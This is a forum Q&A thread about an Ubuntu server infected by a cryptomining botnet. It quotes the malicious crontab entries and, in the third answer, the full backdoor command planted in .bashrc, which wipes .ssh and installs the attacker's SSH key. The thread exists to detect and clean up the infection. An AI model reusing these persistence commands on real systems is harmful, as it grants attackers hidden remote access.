Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS Server

Question

I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?

sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1

I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019

UPDATE

I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.

Answer 1

Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.

You can no longer trust that machine, and should re-install it. Be careful with restoring backups.

Answer 2

Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.

Answer 3

The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.

I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:

• .bashrc
• .ssh/authorized_keys

I found this at the end of .bashrc (which is executed each time bash is opened):

set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~

It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.

There are 2 solutions: A:

• Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts

• Kill all cron jobs: ps aux | grep cron, then kill the PID that shows up

• Change your password to a secure one

B:

• Back up any files or folders that you need or want

• Reset the server and reinstall Ubuntu, or directly create a new droplet

  Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)

The most suspicious folders I found were:

• /tmp/.X13-unix/.rsync

• ~/.bashrc ( which was edited )

• ~/.firefoxcatche

Finally, there is an article relating to the Perl Backdoor here: https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/

I hope you find this useful.

Answer 4

The same thing happened to me yesterday. The PC fans started unexpectedly and I found a command named ./kswapd0 consuming 60% of CPU resources. The process belonged to a temporary normal user and had nothing to do with swapping; it could be malware. My initial steps were:

• Search the Internet for the command line "./kswapd0"
  • Found many answers suggesting turning off swap
  • Not applicable since this system did not use swap
• Kill the offending process
• Change the user's password
• Quarantine all the files owned by the affected user, by moving them into a new directory and troubleshoot
  • Check other files created by the temporary user since the infection
  • Continue checking the filesystem for all files created since then
• Remove the affected user: sudo userdel testuser
  • Observe failure with message userdel: user testuser is currently used by process <pid>
  • List the process's details: ps -l <pid>
    • Observe command line in result: /lib/systemd/systemd --user
  • List systemd units related to the affected user: sudo systemctl | grep testuser
    • Observe printout with session name: session-<sn>.scope
  • Check status of session: sudo systemctl status session-<sn>.scope
    • Observe child process named rsync
  • Stop all processes running under the affected user: sudo killall -u testuser
  • Stop session opened for the affected user: sudo systemctl stop session-<sn>.scope
    • Observe successful closing of session of testuser
  • Reattempt to remove the user: sudo userdel testuser
    • Observe successful removal of testuser

It was the obnoxious comment word in the implanted ssh authorized key, that led me to the very helpful answer https://askubuntu.com/a/1162138/848863 above. I also find all the files and directories mentioned there except the ".*catche"; thanks for confirming. A swearword and a misspelling are enough to tell it was up to no good.

The breach happened through guessing of a poorly-chosen weak password for internal testing and was unexpected.

Luckily, the damage appears to be limited to the footprint of the temporary test user. I have not noticed any clearing of system logs or files, but will keep watching.